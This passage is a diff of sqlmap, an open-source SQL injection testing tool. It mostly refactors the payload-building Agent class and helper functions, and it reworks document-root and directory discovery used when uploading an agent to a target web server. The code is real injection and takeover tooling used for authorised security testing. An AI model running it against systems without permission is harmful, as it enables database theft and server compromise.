logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
if testSqlInj == True:
|
if testSqlInj:
|
||||||
for parenthesis in range(0, 4):
|
for parenthesis in range(0, 4):
|
||||||
logMsg = "testing sql injection on %s " % place
|
logMsg = "testing sql injection on %s " % place
|
||||||
logMsg += "parameter '%s' with " % parameter
|
logMsg += "parameter '%s' with " % parameter
|
||||||
@@ -248,20 +246,16 @@ def start():
|
|||||||
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
||||||
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
||||||
elif kb.injPlace and kb.injParameter and kb.injType:
|
elif kb.injPlace and kb.injParameter and kb.injType:
|
||||||
condition = False
|
|
||||||
|
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||||
exploit = readInput(message, default="Y")
|
exploit = readInput(message, default="Y")
|
||||||
|
|
||||||
if not exploit or exploit[0] in ("y", "Y"):
|
condition = not exploit or exploit[0] in ("y", "Y")
|
||||||
condition = True
|
|
||||||
else:
|
else:
|
||||||
condition = True
|
condition = True
|
||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
checkForParenthesis()
|
checkForParenthesis()
|
||||||
createTargetDirs()
|
|
||||||
action()
|
action()
|
||||||
|
|
||||||
if conf.loggedToOut:
|
if conf.loggedToOut:
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -37,7 +35,6 @@ from plugins.dbms.mysql import MySQLMap
|
|||||||
from plugins.dbms.oracle import OracleMap
|
from plugins.dbms.oracle import OracleMap
|
||||||
from plugins.dbms.postgresql import PostgreSQLMap
|
from plugins.dbms.postgresql import PostgreSQLMap
|
||||||
|
|
||||||
|
|
||||||
def setHandler():
|
def setHandler():
|
||||||
"""
|
"""
|
||||||
Detect which is the target web application back-end database
|
Detect which is the target web application back-end database
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
@@ -33,7 +31,6 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
|
||||||
|
|
||||||
|
|
||||||
class Agent:
|
class Agent:
|
||||||
@@ -46,7 +43,6 @@ class Agent:
|
|||||||
temp.start = randomStr(6)
|
temp.start = randomStr(6)
|
||||||
temp.stop = randomStr(6)
|
temp.stop = randomStr(6)
|
||||||
|
|
||||||
|
|
||||||
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
|
||||||
"""
|
"""
|
||||||
This method replaces the affected parameter with the SQL
|
This method replaces the affected parameter with the SQL
|
||||||
@@ -57,9 +53,9 @@ class Agent:
|
|||||||
negValue = ""
|
negValue = ""
|
||||||
retValue = ""
|
retValue = ""
|
||||||
|
|
||||||
if negative == True or conf.paramNegative == True:
|
if negative or conf.paramNegative:
|
||||||
negValue = "-"
|
negValue = "-"
|
||||||
elif falseCond == True or conf.paramFalseCond == True:
|
elif falseCond or conf.paramFalseCond:
|
||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
falseValue = " AND %d=%d" % (randInt, randInt + 1)
|
falseValue = " AND %d=%d" % (randInt, randInt + 1)
|
||||||
|
|
||||||
@@ -84,7 +80,6 @@ class Agent:
|
|||||||
|
|
||||||
return retValue
|
return retValue
|
||||||
|
|
||||||
|
|
||||||
def fullPayload(self, query):
|
def fullPayload(self, query):
|
||||||
query = self.prefixQuery(query)
|
query = self.prefixQuery(query)
|
||||||
query = self.postfixQuery(query)
|
query = self.postfixQuery(query)
|
||||||
@@ -92,7 +87,6 @@ class Agent:
|
|||||||
|
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
|
|
||||||
def prefixQuery(self, string):
|
def prefixQuery(self, string):
|
||||||
"""
|
"""
|
||||||
This method defines how the input string has to be escaped
|
This method defines how the input string has to be escaped
|
||||||
@@ -121,7 +115,6 @@ class Agent:
|
|||||||
|
|
||||||
return query
|
return query
|
||||||
|
|
||||||
|
|
||||||
def postfixQuery(self, string, comment=None):
|
def postfixQuery(self, string, comment=None):
|
||||||
"""
|
"""
|
||||||
This method appends the DBMS comment to the
|
This method appends the DBMS comment to the
|
||||||
@@ -137,7 +130,7 @@ class Agent:
|
|||||||
if conf.postfix:
|
if conf.postfix:
|
||||||
string += " %s" % conf.postfix
|
string += " %s" % conf.postfix
|
||||||
else:
|
else:
|
||||||
if kb.parenthesis != None:
|
if kb.parenthesis is not None:
|
||||||
string += " AND %s" % ("(" * kb.parenthesis)
|
string += " AND %s" % ("(" * kb.parenthesis)
|
||||||
else:
|
else:
|
||||||
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
|
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
|
||||||
@@ -157,7 +150,6 @@ class Agent:
|
|||||||
|
|
||||||
return string
|
return string
|
||||||
|
|
||||||
|
|
||||||
def nullAndCastField(self, field):
|
def nullAndCastField(self, field):
|
||||||
"""
|
"""
|
||||||
Take in input a field string and return its processed nulled and
|
Take in input a field string and return its processed nulled and
|
||||||
@@ -196,7 +188,6 @@ class Agent:
|
|||||||
|
|
||||||
return nulledCastedField
|
return nulledCastedField
|
||||||
|
|
||||||
|
|
||||||
def nullCastConcatFields(self, fields):
|
def nullCastConcatFields(self, fields):
|
||||||
"""
|
"""
|
||||||
Take in input a sequence of fields string and return its processed
|
Take in input a sequence of fields string and return its processed
|
||||||
@@ -243,7 +234,6 @@ class Agent:
|
|||||||
|
|
||||||
return nulledCastedConcatFields
|
return nulledCastedConcatFields
|
||||||
|
|
||||||
|
|
||||||
def getFields(self, query):
|
def getFields(self, query):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its fields (columns) and
|
Take in input a query string and return its fields (columns) and
|
||||||
@@ -284,13 +274,8 @@ class Agent:
|
|||||||
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
||||||
fieldsToCastList = fieldsToCastList.split(",")
|
fieldsToCastList = fieldsToCastList.split(",")
|
||||||
|
|
||||||
# TODO: really needed?!
|
|
||||||
#if query.startswith("SELECT ") and "(SELECT " in query:
|
|
||||||
# fieldsSelectFrom = None
|
|
||||||
|
|
||||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
|
||||||
|
|
||||||
|
|
||||||
def simpleConcatQuery(self, query1, query2):
|
def simpleConcatQuery(self, query1, query2):
|
||||||
concatenatedQuery = ""
|
concatenatedQuery = ""
|
||||||
|
|
||||||
@@ -305,7 +290,6 @@ class Agent:
|
|||||||
|
|
||||||
return concatenatedQuery
|
return concatenatedQuery
|
||||||
|
|
||||||
|
|
||||||
def concatQuery(self, query, unpack=True):
|
def concatQuery(self, query, unpack=True):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its processed nulled,
|
Take in input a query string and return its processed nulled,
|
||||||
@@ -332,7 +316,7 @@ class Agent:
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if unpack == True:
|
if unpack:
|
||||||
concatenatedQuery = ""
|
concatenatedQuery = ""
|
||||||
query = query.replace(", ", ",")
|
query = query.replace(", ", ",")
|
||||||
|
|
||||||
@@ -391,7 +375,6 @@ class Agent:
|
|||||||
|
|
||||||
return concatenatedQuery
|
return concatenatedQuery
|
||||||
|
|
||||||
|
|
||||||
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
|
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
|
||||||
"""
|
"""
|
||||||
Take in input an query (pseudo query) string and return its
|
Take in input an query (pseudo query) string and return its
|
||||||
@@ -470,7 +453,6 @@ class Agent:
|
|||||||
|
|
||||||
return inbandQuery
|
return inbandQuery
|
||||||
|
|
||||||
|
|
||||||
def limitQuery(self, num, query, field):
|
def limitQuery(self, num, query, field):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its limited query string.
|
Take in input a query string and return its limited query string.
|
||||||
@@ -534,7 +516,7 @@ class Agent:
|
|||||||
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
||||||
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
||||||
|
|
||||||
if forgeNotIn == True:
|
if forgeNotIn:
|
||||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||||
if " WHERE " in limitedQuery:
|
if " WHERE " in limitedQuery:
|
||||||
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
||||||
@@ -545,7 +527,6 @@ class Agent:
|
|||||||
|
|
||||||
return limitedQuery
|
return limitedQuery
|
||||||
|
|
||||||
|
|
||||||
def forgeCaseStatement(self, expression):
|
def forgeCaseStatement(self, expression):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its CASE statement query
|
Take in input a query string and return its CASE statement query
|
||||||
@@ -565,6 +546,5 @@ class Agent:
|
|||||||
|
|
||||||
return queries[kb.dbms].case % expression
|
return queries[kb.dbms].case % expression
|
||||||
|
|
||||||
|
|
||||||
# SQL agent
|
# SQL agent
|
||||||
agent = Agent()
|
agent = Agent()
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import random
|
import random
|
||||||
import re
|
import re
|
||||||
@@ -32,10 +30,7 @@ import string
|
|||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
import urlparse
|
import urlparse
|
||||||
|
|
||||||
|
|
||||||
from lib.contrib import magic
|
from lib.contrib import magic
|
||||||
from lib.core.convert import urldecode
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -43,6 +38,7 @@ from lib.core.data import paths
|
|||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.exception import sqlmapFilePathException
|
from lib.core.exception import sqlmapFilePathException
|
||||||
|
from lib.core.settings import IS_WIN
|
||||||
from lib.core.settings import SQL_STATEMENTS
|
from lib.core.settings import SQL_STATEMENTS
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
|
|
||||||
@@ -86,8 +82,7 @@ def paramToDict(place, parameters=None):
|
|||||||
|
|
||||||
if condition:
|
if condition:
|
||||||
value = elem[1]
|
value = elem[1]
|
||||||
if value:
|
testableParameters[parameter] = value
|
||||||
testableParameters[parameter] = value
|
|
||||||
|
|
||||||
if conf.testParameter and not testableParameters:
|
if conf.testParameter and not testableParameters:
|
||||||
paramStr = ", ".join(test for test in conf.testParameter)
|
paramStr = ", ".join(test for test in conf.testParameter)
|
||||||
@@ -115,7 +110,6 @@ def paramToDict(place, parameters=None):
|
|||||||
|
|
||||||
return testableParameters
|
return testableParameters
|
||||||
|
|
||||||
|
|
||||||
def formatDBMSfp(versions=None):
|
def formatDBMSfp(versions=None):
|
||||||
"""
|
"""
|
||||||
This function format the back-end DBMS fingerprint value and return its
|
This function format the back-end DBMS fingerprint value and return its
|
||||||
@@ -139,12 +133,10 @@ def formatDBMSfp(versions=None):
|
|||||||
|
|
||||||
return kb.dbms
|
return kb.dbms
|
||||||
|
|
||||||
|
|
||||||
def formatFingerprintString(values, chain=" or "):
|
def formatFingerprintString(values, chain=" or "):
|
||||||
string = "|".join([v for v in values])
|
strJoin = "|".join([v for v in values])
|
||||||
|
|
||||||
return string.replace("|", chain)
|
|
||||||
|
|
||||||
|
return strJoin.replace("|", chain)
|
||||||
|
|
||||||
def formatFingerprint(target, info):
|
def formatFingerprint(target, info):
|
||||||
"""
|
"""
|
||||||
@@ -198,7 +190,6 @@ def formatFingerprint(target, info):
|
|||||||
|
|
||||||
return infoStr
|
return infoStr
|
||||||
|
|
||||||
|
|
||||||
def getHtmlErrorFp():
|
def getHtmlErrorFp():
|
||||||
"""
|
"""
|
||||||
This function parses the knowledge base htmlFp list and return its
|
This function parses the knowledge base htmlFp list and return its
|
||||||
@@ -222,95 +213,109 @@ def getHtmlErrorFp():
|
|||||||
|
|
||||||
return htmlParsed
|
return htmlParsed
|
||||||
|
|
||||||
|
|
||||||
def getDocRoot():
|
def getDocRoot():
|
||||||
"""
|
|
||||||
This method returns the web application document root based on the
|
|
||||||
detected absolute files paths in the knowledge base.
|
|
||||||
"""
|
|
||||||
|
|
||||||
docRoot = None
|
docRoot = None
|
||||||
|
pagePath = os.path.dirname(conf.path)
|
||||||
|
|
||||||
|
if kb.os == "Windows":
|
||||||
|
defaultDocRoot = "C:/Inetpub/wwwroot/"
|
||||||
|
else:
|
||||||
|
defaultDocRoot = "/var/www/"
|
||||||
|
|
||||||
if kb.absFilePaths:
|
if kb.absFilePaths:
|
||||||
logMsg = "retrieved the possible injectable "
|
for absFilePath in kb.absFilePaths:
|
||||||
logMsg += "file absolute system paths: "
|
absFilePathWin = None
|
||||||
logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
|
||||||
logger.info(logMsg)
|
|
||||||
else:
|
|
||||||
warnMsg = "unable to retrieve the injectable file "
|
|
||||||
warnMsg += "absolute system path"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
for absFilePath in kb.absFilePaths:
|
if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
|
||||||
if conf.path in absFilePath:
|
absFilePathWin = absFilePath
|
||||||
index = absFilePath.index(conf.path)
|
absFilePath = absFilePath[2:].replace("\\", "/")
|
||||||
docRoot = absFilePath[:index]
|
|
||||||
break
|
absFilePath = os.path.normpath(absFilePath)
|
||||||
|
|
||||||
|
if pagePath in absFilePath:
|
||||||
|
index = absFilePath.index(pagePath)
|
||||||
|
docRoot = absFilePath[:index]
|
||||||
|
|
||||||
|
if absFilePathWin:
|
||||||
|
docRoot = "C:/%s" % docRoot.replace("\\", "/")
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
if docRoot:
|
if docRoot:
|
||||||
logMsg = "retrieved the remote web server "
|
infoMsg = "retrieved the web server document root: '%s'" % docRoot
|
||||||
logMsg += "document root: '%s'" % docRoot
|
logger.info(infoMsg)
|
||||||
logger.info(logMsg)
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "unable to retrieve the remote web server "
|
warnMsg = "unable to retrieve the web server document root"
|
||||||
warnMsg += "document root"
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
message = "please provide the web server document root "
|
||||||
|
message += "[%s]: " % defaultDocRoot
|
||||||
|
inputDocRoot = readInput(message, default=defaultDocRoot)
|
||||||
|
|
||||||
|
if inputDocRoot:
|
||||||
|
docRoot = inputDocRoot
|
||||||
|
else:
|
||||||
|
docRoot = defaultDocRoot
|
||||||
|
|
||||||
return docRoot
|
return docRoot
|
||||||
|
|
||||||
|
def getDirs():
|
||||||
def getDirectories():
|
|
||||||
"""
|
|
||||||
This method calls a function that returns the web application document
|
|
||||||
root and injectable file absolute system path.
|
|
||||||
|
|
||||||
@return: a set of paths (document root and absolute system path).
|
|
||||||
@rtype: C{set}
|
|
||||||
@todo: replace this function with a site crawling functionality.
|
|
||||||
"""
|
|
||||||
|
|
||||||
directories = set()
|
directories = set()
|
||||||
|
|
||||||
kb.docRoot = getDocRoot()
|
if kb.os == "Windows":
|
||||||
|
defaultDir = "C:/Inetpub/wwwroot/test/"
|
||||||
|
else:
|
||||||
|
defaultDir = "/var/www/test/"
|
||||||
|
|
||||||
if kb.docRoot:
|
if kb.absFilePaths:
|
||||||
directories.add(kb.docRoot)
|
infoMsg = "retrieved web server full paths: "
|
||||||
|
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
pagePath = re.search("^/(.*)/", conf.path)
|
for absFilePath in kb.absFilePaths:
|
||||||
|
if absFilePath:
|
||||||
|
directories.add(os.path.dirname(absFilePath))
|
||||||
|
else:
|
||||||
|
warnMsg = "unable to retrieve any web server path"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if kb.docRoot and pagePath:
|
message = "please provide any additional web server full path to try "
|
||||||
pagePath = pagePath.groups()[0]
|
message += "to upload the agent [%s]: " % defaultDir
|
||||||
|
inputDirs = readInput(message, default=defaultDir)
|
||||||
|
|
||||||
directories.add("%s/%s" % (kb.docRoot, pagePath))
|
if inputDirs:
|
||||||
|
inputDirs = inputDirs.replace(", ", ",")
|
||||||
|
inputDirs = inputDirs.split(",")
|
||||||
|
|
||||||
|
for inputDir in inputDirs:
|
||||||
|
if inputDir:
|
||||||
|
directories.add(inputDir)
|
||||||
|
else:
|
||||||
|
directories.add(defaultDir)
|
||||||
|
|
||||||
return directories
|
return directories
|
||||||
|
|
||||||
|
|
||||||
def filePathToString(filePath):
|
def filePathToString(filePath):
|
||||||
string = filePath.replace("/", "_").replace("\\", "_")
|
strRepl = filePath.replace("/", "_").replace("\\", "_")
|
||||||
string = string.replace(" ", "_").replace(":", "_")
|
strRepl = strRepl.replace(" ", "_").replace(":", "_")
|
||||||
|
|
||||||
return string
|
|
||||||
|
|
||||||
|
return strRepl
|
||||||
|
|
||||||
def dataToStdout(data):
|
def dataToStdout(data):
|
||||||
sys.stdout.write(data)
|
sys.stdout.write(data)
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
|
||||||
def dataToSessionFile(data):
|
def dataToSessionFile(data):
|
||||||
if not conf.sessionFile:
|
if not conf.sessionFile:
|
||||||
return
|
return
|
||||||
|
|
||||||
conf.sessionFP.write(data)
|
conf.sessionFP.write(data)
|
||||||
conf.sessionFP.flush()
|
conf.sessionFP.flush()
|
||||||
|
|
||||||
|
|
||||||
def dataToDumpFile(dumpFile, data):
|
def dataToDumpFile(dumpFile, data):
|
||||||
dumpFile.write(data)
|
dumpFile.write(data)
|
||||||
dumpFile.flush()
|
dumpFile.flush()
|
||||||
|
|
||||||
|
|
||||||
def dataToOutFile(data):
|
def dataToOutFile(data):
|
||||||
if not data:
|
if not data:
|
||||||
return "No data retrieved"
|
return "No data retrieved"
|
||||||
@@ -325,19 +330,18 @@ def dataToOutFile(data):
|
|||||||
|
|
||||||
return rFilePath
|
return rFilePath
|
||||||
|
|
||||||
|
def strToHex(inpStr):
|
||||||
def strToHex(string):
|
|
||||||
"""
|
"""
|
||||||
@param string: string to be converted into its hexadecimal value.
|
@param inpStr: inpStr to be converted into its hexadecimal value.
|
||||||
@type string: C{str}
|
@type inpStr: C{str}
|
||||||
|
|
||||||
@return: the hexadecimal converted string.
|
@return: the hexadecimal converted inpStr.
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
hexStr = ""
|
hexStr = ""
|
||||||
|
|
||||||
for character in string:
|
for character in inpStr:
|
||||||
if character == "\n":
|
if character == "\n":
|
||||||
character = " "
|
character = " "
|
||||||
|
|
||||||
@@ -348,8 +352,7 @@ def strToHex(string):
|
|||||||
hexStr += hexChar
|
hexStr += hexChar
|
||||||
|
|
||||||
return hexStr
|
return hexStr
|
||||||
|
|
||||||
|
|
||||||
def fileToStr(fileName):
|
def fileToStr(fileName):
|
||||||
"""
|
"""
|
||||||
@param fileName: file path to read the content and return as a no
|
@param fileName: file path to read the content and return as a no
|
||||||
@@ -363,13 +366,7 @@ def fileToStr(fileName):
|
|||||||
filePointer = open(fileName, "r")
|
filePointer = open(fileName, "r")
|
||||||
fileText = filePointer.read()
|
fileText = filePointer.read()
|
||||||
|
|
||||||
fileText = fileText.replace(" ", "")
|
return fileText.replace(" ", "").replace("\t", "").replace("\r", "").replace("\n", " ")
|
||||||
fileText = fileText.replace("\t", "")
|
|
||||||
fileText = fileText.replace("\r", "")
|
|
||||||
fileText = fileText.replace("\n", " ")
|
|
||||||
|
|
||||||
return fileText
|
|
||||||
|
|
||||||
|
|
||||||
def fileToHex(fileName):
|
def fileToHex(fileName):
|
||||||
"""
|
"""
|
||||||
@@ -386,7 +383,6 @@ def fileToHex(fileName):
|
|||||||
|
|
||||||
return hexFile
|
return hexFile
|
||||||
|
|
||||||
|
|
||||||
def readInput(message, default=None):
|
def readInput(message, default=None):
|
||||||
"""
|
"""
|
||||||
@param message: message to display on terminal.
|
@param message: message to display on terminal.
|
||||||
@@ -410,9 +406,11 @@ def readInput(message, default=None):
|
|||||||
else:
|
else:
|
||||||
data = raw_input(message)
|
data = raw_input(message)
|
||||||
|
|
||||||
|
if not data:
|
||||||
|
data = default
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
|
|
||||||
def randomRange(start=0, stop=1000):
|
def randomRange(start=0, stop=1000):
|
||||||
"""
|
"""
|
||||||
@param start: starting number.
|
@param start: starting number.
|
||||||
@@ -427,7 +425,6 @@ def randomRange(start=0, stop=1000):
|
|||||||
|
|
||||||
return int(random.randint(start, stop))
|
return int(random.randint(start, stop))
|
||||||
|
|
||||||
|
|
||||||
def randomInt(length=4):
|
def randomInt(length=4):
|
||||||
"""
|
"""
|
||||||
@param length: length of the random string.
|
@param length: length of the random string.
|
||||||
@@ -439,7 +436,6 @@ def randomInt(length=4):
|
|||||||
|
|
||||||
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
|
||||||
|
|
||||||
|
|
||||||
def randomStr(length=5, lowercase=False):
|
def randomStr(length=5, lowercase=False):
|
||||||
"""
|
"""
|
||||||
@param length: length of the random string.
|
@param length: length of the random string.
|
||||||
@@ -449,30 +445,28 @@ def randomStr(length=5, lowercase=False):
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if lowercase == True:
|
if lowercase:
|
||||||
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
|
rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
|
||||||
else:
|
else:
|
||||||
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
|
||||||
|
|
||||||
return rndStr
|
return rndStr
|
||||||
|
|
||||||
|
def sanitizeStr(inpStr):
|
||||||
def sanitizeStr(string):
|
|
||||||
"""
|
"""
|
||||||
@param string: string to sanitize: cast to str datatype and replace
|
@param inpStr: inpStr to sanitize: cast to str datatype and replace
|
||||||
newlines with one space and strip carriage returns.
|
newlines with one space and strip carriage returns.
|
||||||
@type string: C{str}
|
@type inpStr: C{str}
|
||||||
|
|
||||||
@return: sanitized string
|
@return: sanitized inpStr
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
cleanString = str(string)
|
cleanString = str(inpStr)
|
||||||
cleanString = cleanString.replace("\n", " ").replace("\r", "")
|
cleanString = cleanString.replace("\n", " ").replace("\r", "")
|
||||||
|
|
||||||
return cleanString
|
return cleanString
|
||||||
|
|
||||||
|
|
||||||
def checkFile(filename):
|
def checkFile(filename):
|
||||||
"""
|
"""
|
||||||
@param filename: filename to check if it exists.
|
@param filename: filename to check if it exists.
|
||||||
@@ -481,15 +475,13 @@ def checkFile(filename):
|
|||||||
|
|
||||||
if not os.path.exists(filename):
|
if not os.path.exists(filename):
|
||||||
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
raise sqlmapFilePathException, "unable to read file '%s'" % filename
|
||||||
|
|
||||||
|
def replaceNewlineTabs(inpStr):
|
||||||
def replaceNewlineTabs(string):
|
replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
||||||
replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
|
|
||||||
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
replacedString = replacedString.replace(temp.delimiter, "__DEL__")
|
||||||
|
|
||||||
return replacedString
|
return replacedString
|
||||||
|
|
||||||
|
|
||||||
def banner():
|
def banner():
|
||||||
"""
|
"""
|
||||||
This function prints sqlmap banner with its version
|
This function prints sqlmap banner with its version
|
||||||
@@ -499,8 +491,7 @@ def banner():
|
|||||||
%s
|
%s
|
||||||
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
""" % VERSION_STRING
|
""" % VERSION_STRING
|
||||||
|
|
||||||
|
|
||||||
def parsePasswordHash(password):
|
def parsePasswordHash(password):
|
||||||
blank = " " * 8
|
blank = " " * 8
|
||||||
|
|
||||||
@@ -518,8 +509,7 @@ def parsePasswordHash(password):
|
|||||||
password += "%suppercase: %s" % (blank, hexPassword[54:])
|
password += "%suppercase: %s" % (blank, hexPassword[54:])
|
||||||
|
|
||||||
return password
|
return password
|
||||||
|
|
||||||
|
|
||||||
def cleanQuery(query):
|
def cleanQuery(query):
|
||||||
upperQuery = query
|
upperQuery = query
|
||||||
|
|
||||||
@@ -532,33 +522,31 @@ def cleanQuery(query):
|
|||||||
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
|
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
|
||||||
|
|
||||||
return upperQuery
|
return upperQuery
|
||||||
|
|
||||||
|
|
||||||
def setPaths():
|
def setPaths():
|
||||||
# sqlmap paths
|
# sqlmap paths
|
||||||
paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_CONTRIB_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
|
||||||
paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell")
|
||||||
paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt")
|
||||||
paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf")
|
||||||
paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml")
|
||||||
paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH
|
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
|
||||||
paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_OUTPUT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
|
||||||
paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump"
|
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||||
paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files"
|
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||||
|
|
||||||
# sqlmap files
|
# sqlmap files
|
||||||
paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH
|
paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history")
|
||||||
